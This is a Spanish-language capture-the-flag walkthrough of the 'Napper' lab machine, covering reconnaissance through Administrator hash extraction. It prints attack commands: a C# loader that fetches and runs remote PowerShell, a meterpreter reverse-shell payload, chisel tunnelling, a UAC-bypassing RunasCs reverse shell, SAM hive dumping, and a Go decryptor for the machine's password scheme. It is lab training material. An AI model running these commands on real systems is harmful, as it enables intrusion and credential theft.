Write up | Napper - Maquina Activa | Savage Lands Season 4

Write up | Napper - Maquina Activa | Savage Lands Season 4

Starting Nmap 7.94 ( https://nmap.org ) at 2023-11-13 13:28 CST
Nmap scan report for 10.10.11.240
Host is up (0.079s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://app.napper.htb
443/tcp open  ssl/http Microsoft IIS httpd 10.0
|_ssl-date: 2023-11-13T05:30:02+00:00; 0s from scanner time.
| tls-alpn:
|_  http/1.1
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-generator: Hugo 0.112.3
|_http-title: Research Blog | Home
| ssl-cert: Subject: commonName=app.napper.htb/organizationName=MLopsHub/stateOrProvinceName=California/countryName=US
| Subject Alternative Name: DNS:app.napper.htb
| Not valid before: 2023-06-07T14:58:55
|_Not valid after:  2033-06-04T14:58:55
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.17 seconds
Ingrese app.napper.htb al /etc/host

ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "https://app.napper.htb/" -H 'Host: FUZZ.napper.htb' -fs 5602

[Status: 401, Size: 1293, Words: 81, Lines: 30, Duration: 92ms]
    * FUZZ: internal

Según el artículo del blog anterior, esta es la contraseña de ejemplo utilizada:

New-LocalUser -Name "example" -Password (ConvertTo-SecureString -String "ExamplePassword" -AsPlainText -Force)

Inicie sesión en el blog interno y busque un nuevo blog:

Es un estudio de NAPLISTENER y también proporciona materiales de referencia relevantes:

Y basado en el contenido del blog: Esto significa que cualquier solicitud de red a /ews/MsExgHealthCheckd/ que contenga un ensamblado .NET codificado en base64 en el parámetro sdafwe3rwe23 se cargará y ejecutará en la memoria. Vale la pena señalar que el binario se ejecuta en un proceso separado y no está asociado directamente con el servidor IIS en ejecución.

Podemos suponer que el autor está ejecutando y probando esta puerta trasera directamente en la máquina, luego también podemos intentar usar esta puerta trasera.

Según el artículo de análisis de Elastic, primero intente llamar a la interfaz de puerta trasera: (Pequeño error: si el host usa app.napper.htb, será 404, pero si se cambia a napper.htb, será 200)

El siguiente paso es cómo utilizar realmente esta puerta trasera para ejecutar código. Según el artículo de análisis de Elastic, es fácil conocer la lógica de Listener. Después de decodificar Base64, cargar y ejecutar Ejecutar:

Es muy simple escribir un código para ejecutar el comando. Después de la compilación, está codificado en base64. Tenga en cuenta que puede haber un signo más en base64, por lo que también debe codificar la URL: (El código está escrito en la clase Run para que realmente se ejecute. Si solo está escrito en la función, se cargará pero no se ejecutará automáticamente) (También existen dificultades en las opciones de compilación. La versión x64 utilizada al principio no funciona. Si cambia a cualquier CPU, será normal. La versión neta usa 4.5.2) Index.html contiene el código inverso de powershell, que llega al usuario ruben:

El dll se usa aquí. Si usa exe, puede cambiar el código en consecuencia:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;

namespace Shell
{
    public class Run
    {
        static void Main() {
            System.Diagnostics.Process.Start("powershell.exe", "-nop -w hidden -c iex(iwr -useb 10.10.16.7).tostring()");
        }

        static int Exec() {
            Main();
            return 0;
        }
        int a = Exec();
    }
}

User flag.

El meterpreter facilita las operaciones posteriores:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.16.7 LPORT=443 -f exe -o shell.exe

PS C:\windows\tasks> wget 10.10.16.7/shell.exe -O shell.exe
PS C:\windows\tasks> start-process shell.exe

Una enumeración simple encuentra elasticsearch y la contraseña del usuario elástico también se puede obtener en el archivo (el nombre del archivo no es fijo ni único):

Además, al desplazarse hacia abajo capa por capa en el directorio temporal, puede ver las vueltas que implementó, que son administradas por Elastic, y puede ver un archivo ejecutable que debe usarse para administrar contraseñas:

descarga exe al análisis local:

cd C:\\Temp\\www\\internal\\content\\posts\\internal-laps-alpha
meterpreter > download a.exe

Consulte el puerto de reenvío:

# local
./chisel_1.7.0-rc7_amd64 server -p 9999 --reverse
# target
./chisel.exe client 10.10.16.7:9999 R:9200:127.0.0.1:9200

elastic
oKHzjZw0EGcRxT2cux5K

Utilice este complemento del navegador: cars10/elasticvue: GUI de Elasticsearch para el navegador https://github.com/cars10/elasticvue/ Puede ver la semilla y el usuario 00001. La semilla debe ser la semilla utilizada para el cifrado, y el usuario-00001 es el texto cifrado cifrado, y estos dos datos parecen cambiar cada minuto:

El análisis de A.exe puede indicar que es golang. Utilice este complemento de ghidra: mooncat-greenpy/Ghidra_GolangAnalyzerExtension: Analiza Golang con Ghidra https://github.com/mooncat-greenpy/Ghidra_GolangAnalyzerExtension Según el código, hay semillas y blobs cifrados en ES. Llame a cmd y use el comando net para cambiar la contraseña del usuario de respaldo:

Según la función genKey, la semilla se utiliza como semilla del número aleatorio y cada byte de la clave es el número aleatorio generado + 1:

El cifrado es base64 después de AES CFB:

Según los resultados del análisis, descifre los datos en ES y obtenga la última contraseña del usuario de respaldo (la solución solo debe ser alfanumérica. Si son datos binarios, significa que algunos datos en ES se han actualizado):

go run decrypt.go 51955490 mLkj8AVXM5it5MWOBPdMk0RemsLwp5JUJrCvHWe8zJfVucsXztLBBkiTh74zMdVq7RwmXGY7ILA=

Utilice la contraseña en tiempo real obtenida para obtener el shell de respaldo (la operación debe ser rápida, porque el cambio automático de contraseña es demasiado rápido y la opción --bypass-uac también es necesaria; de lo contrario, aún obtendrá UAC y tengo que hacerlo de nuevo):

.\RunasCs.exe backup ytkCAMAGNEfDiMAvFpdEVGyNzQotkczpxOstRvNT cmd.exe -r 10.10.16.7:4444 --bypass-uac

package main

import (
    "crypto/aes"
    "crypto/cipher"
    "encoding/base64"
    "fmt"
    "log"
    "math/rand"
    "os"
    "strconv"
)

func checkErr(err error) {
    if err != nil {
        log.Fatal(err)
    }
}

func genKey(seed int) (key []byte) {
    rand.Seed(int64(seed))
    for i := 0; i < 0x10; i++ {
        val := rand.Intn(0xfe)
        key = append(key, byte(val+1))
    }
    return
}

func decrypt(seed int, enc []byte) (data []byte) {
    fmt.Printf("Seed: %v\n", seed)
    key := genKey(seed)
    fmt.Printf("Key: %v\n", key)
    iv := enc[:aes.BlockSize]
    fmt.Printf("IV: %v\n", iv)
    data = enc[aes.BlockSize:]

    block, err := aes.NewCipher(key)
    checkErr(err)

    stream := cipher.NewCFBDecrypter(block, iv)
    stream.XORKeyStream(data, data)
    fmt.Printf("Plaintext: %s\n", data)
    return
}

func main() {
    if len(os.Args) != 3 {
        return
    }
    seed, err := strconv.Atoi(os.Args[1])
    checkErr(err)
    enc, err := base64.URLEncoding.DecodeString(os.Args[2])
    checkErr(err)

    decrypt(seed, enc)
}

Omitir la copia de seguridad de uac, como su nombre indica, tiene SeBackupPrivilege.

También puedes simplemente ejecutar meterpreter directamente y luego realizar hashdump.

reg save hklm\sam sam
reg save hklm\system system
C:\Windows\Tasks>powershell -c "start-process shell.exe"
reg save hklm\sam sam
reg save hklm\system system
C:\Windows\Tasks>powershell -c "start-process shell.exe"

De hecho, el usuario de respaldo ya está completo y puede leer directamente el indicador raíz del Administrador:

Administrator:500:aad3b435b51404eeaad3b435b51404ee:ed5cc50d93a33729acd6df740eecd86c:::
backup:1003:aad3b435b51404eeaad3b435b51404ee:9d0cc117881b64cedd0ec802558830d7:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
example:1002:aad3b435b51404eeaad3b435b51404ee:4da4a64845e9fbf07e0f7e236ca82694:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
ruben:1001:aad3b435b51404eeaad3b435b51404ee:ae5917c26194cec4fc402490c7a919a7:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:49c2f41a954679b5f3a7ef12deab11e4:::